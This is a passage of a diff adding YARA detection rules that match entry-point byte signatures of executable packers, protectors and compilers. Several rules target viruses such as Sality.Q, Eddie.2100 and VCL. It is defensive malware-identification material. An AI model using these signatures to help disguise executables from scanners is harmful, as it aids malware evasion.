57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 70 07 7C 03 EB 05 E9 74 FB EB F9 53 BB FF FF 00 00 23 C3 51 B5 2C 80 ED 01 80 ED 20 FE CD FE CD 80 ED 04 FE CD 80 ED 03 FE CD 22 E5 B1 70 80 E9 02 FE C9 FE C9 FE C9 80 E9 06 F6 D0 0F C9 F6 D0 0F C9 FE C9 FE C9 80 E9 10 FE C9 FE C9 80 C1 0C FE C9 FE C9 FE C9 70 07 7C 03 EB 05 C7 74 FB EB F9 FE C9 FE C9 FE C9 FE C9 80 E9 10 80 E9 01 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 F7 D1 0F C8 F7 D1 0F C8 FE C1 80 C1 02 22 C1 59 5B 85 C0 0F 85 94 00 00 00 8B 45 FC 53 BB 00 08 00 00 EB 05 BB 80 00 00 00 BB 72 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 23 C3 5B F7 D8 1B C0 40 5A 8B C8 51 8B 45 FC 52 BA FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeLock_vxx_
+{
+	meta:
+		description = "Code-Lock vx.x"
+	strings:
+		$0 = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+		$1 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V3049V3080__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v0.98 -> tHE EGOiSTE"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10b__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0b -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+		$1 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_SKE_23__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.3 -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 E5 0B 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_110_beta_6_
+{
+	meta:
+		description = "PECompact 1.10 beta 6"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 00 87 DD 8B 85 9A 60 40 00 01 85 03 60 40 00 66 C7 85 00 60 40 00 90 90 01 85 92 60 40 00 BB B7 07 00 00 03 9D 9E 60 40 00 03 9D 9A 60 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_15__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.5 -> coban2k"
+	strings:
+		$0 = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 EB 21 00 ?? ?? 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 00 F3 A4 E9 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C}
+		$1 = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE32_11_
+{
+	meta:
+		description = "PKLITE32 1.1"
+	strings:
+		$0 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+		$1 = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+		$2 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Crypt_17_COM_
+{
+	meta:
+		description = "Crypt 1.7 [COM]"
+	strings:
+		$0 = {0E 17 9C 58 F6 C4 01 74 03 EB 4C 90 B4 01 BE 24 01 BF FF FD B9 81 00 68 00 01 68 A5 01 68 00 00 57 F3 A4 C3 B0 02 E6 21 60 B8 99 01 33 FF 8E C7 BF 0C 00 AB 8C C8 AB BB 6C 04 B8 3A FE BF 04 00 26 C6 07 00 AB 8C C8 AB 26 80 3F 00 75 09 2E 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _624_Six_to_Four_v10_
+{
+	meta:
+		description = "624 (Six to Four) v1.0"
+	strings:
+		$0 = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+		$1 = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Mew_10_execoder_10___Northfox_HCC_
+{
+	meta:
+		description = "Mew 10 exe-coder 1.0  -> Northfox [HCC"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+		$1 = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SalityQ_
+{
+	meta:
+		description = "Sality.Q"
+	strings:
+		$0 = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29 0C 24 33 04 24 D1 E9 66 AB 58 E2 24 57 B8 FC 4F 00 00 29 04 24 C3 8B 2C 24 B9 18 10 00 00 81 ED 06 10 40 00 90 90 90 81 C1 E8 17 00 00 90 EB 91 FF E3 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TPAV_Cryptor_V11__msaha_dev__SignByfly_
+{
+	meta:
+		description = "TPAV Cryptor V1.1 -> msaha_dev * Sign.By.fly"
+	strings:
+		$0 = {8D 85 08 FF FF FF 50 8D 85 C4 FE FF FF 50 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 8D 95 C0 FE FF FF 33 C0 E8 ?? ?? FF FF 8B 85 C0 FE FF FF E8 ?? ?? FF FF 50 6A 00 FF 15 2C ?? ?? 70}
+	condition:
+		$0
+}
+rule _PEArmor_v07x__Hying_
+{
+	meta:
+		description = "PE-Armor v0.7x -> Hying"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS32_33_
+{
+	meta:
+		description = "DOS32 3.3"
+	strings:
+		$0 = {0E 1F FC 9C 5B 8B C3 80 F4 40 50 9D 9C 58 3A E7 75 0B BA 87 20 B4 09 CD 21 B4 4C CD 21 8C 06 CA 00 26 A1 2C 00 A3 C8 00 8C 0E 98 00 8C 06 9C 00 8C 06 A0 00 0E 07 33 C0 BF A0 22 B9 A0 51 2B CF D1 E9 F3 AB BA EE 0D 81 EA C4 47 B9 6A 10 BB BF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v10_
+{
+	meta:
+		description = "FSG v1.0"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+		$2 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EncryptPE_22006710220061025__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2006.7.10-2.2006.10.25 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_50_KOLMCK_
+{
+	meta:
+		description = "Borland Delphi 5.0 KOL/MCK"
+	strings:
+		$0 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v30xx_
+{
+	meta:
+		description = "Crunch/PE v3.0.x.x"
+	strings:
+		$0 = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+		$1 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Virogens_PE_Shrinker_v014_
+{
+	meta:
+		description = "Virogen`s PE Shrinker v0.14"
+	strings:
+		$0 = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _CorelDraw_CMX_Graphics_format_
+{
+	meta:
+		description = "CorelDraw CMX Graphics format"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 4D 58 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ACProtect_109_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ACProtect 1.09"
+	strings:
+		$0 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Visual_Cpp_50_SP3_debug_
+{
+	meta:
+		description = "Visual C++ 5.0 SP3 (debug)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 40 00 68 00 00 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 94 53 56 57 89 65 E8 C7 45 FC 00 00 00 00 6A 02 FF 15 00 00 40 00 83 C4 04 C7 05 00 00 40 00 FF FF FF FF A1 00 00 40 00 A3 00 00 40 00 FF 15 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_097__098_DLL__JoKo_
+{
+	meta:
+		description = "XPack 0.97 - 0.98 DLL -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 ?? ?? 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 44 ?? ?? 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 51 ?? ?? 00 62 ?? ?? 00 71 ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEc_
+{
+	meta:
+		description = "ASProtect v1.1 MTEc"
+	strings:
+		$0 = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+		$1 = {90 60 E8 1B ?? ?? ?? E9 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Eddie2100_
+{
+	meta:
+		description = "Vx: Eddie.2100"
+	strings:
+		$0 = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+		$1 = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v01x__v02x__Dwing_
+{
+	meta:
+		description = "Upack v0.1x - v0.2x -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95}
+		$1 = {BE 88 01 ?? ?? AD 8B F8 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VMProtect_0x__PolyTech_
+{
+	meta:
+		description = "VMProtect 0.x -> PolyTech"
+	strings:
+		$0 = {5B 20 56 4D 50 72 6F 74 65 63 74 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_3_1_
+{
+	meta:
+		description = "Borland Delphi 3 (1)"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 53 56 A1 0C CF 42 00 C6 00 01 B8 00 25 42 00 E8 00 00 FE FF BE 1C E1 42 00 A1 90 CE 42 00 E8 00 00 FE FF A1 CC CE 42 00 BA 00 00 42 00 E8 00 FD FE FF 84 C0 75 05 E8 00 02 FF FF E8 00 07 FF FF 33 C0 A3 14 E1 42 00 33 C0 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _MPEG_movie_file_
+{
+	meta:
+		description = "MPEG movie file"
+	strings:
+		$0 = {00 00 01 BA 2F FF FD E6 C1 80 18 61 00 00 01 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _D1NS1G__D1N_
+{
+	meta:
+		description = "D1NS1G -> D1N"
+	strings:
+		$0 = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00}
+		$1 = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _HACKSTOP_v110_v111_
+{
+	meta:
+		description = "HACKSTOP v1.10, v1.11"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+		$1 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DevCpp_v5_
+{
+	meta:
+		description = "Dev-C++ v5"
+	strings:
+		$0 = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+		$1 = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPack_167_
+{
+	meta:
+		description = "XPack 1.67"
+	strings:
+		$0 = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VCL_encrypted_
+{
+	meta:
+		description = "Vx: VCL (encrypted)"
+	strings:
+		$0 = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+		$1 = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+		$2 = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MinGW_v32x_Dll_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_WinMain)"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+		$1 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 A4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 1B 02 00 00 E8 A6 01 00 00 E9 75 FF FF FF E8 6C 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 1B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 F8 04 00 00 8B 5D FC 89 EC 5D C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE32Pack_v13x__SteelBytes_
+{
+	meta:
+		description = "EXE32Pack v1.3x -> SteelBytes"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? 00 ?? ?? 00 3B DB 74 01 BE 5D 8B D5 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_runtime_system_1995_
+{
+	meta:
+		description = "WATCOM C/C++ runtime system 1995"
+	strings:
+		$0 = {53 56 57 55 8B 00 24 14 8B 00 24 18 8B 6C 24 1C 83 00 03 0F 87 00 01 00 00 89 00 2E FF 24 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_018__by_Dmitry_AND_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.18 - by Dmitry AND Andreev"
+	strings:
+		$0 = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D}
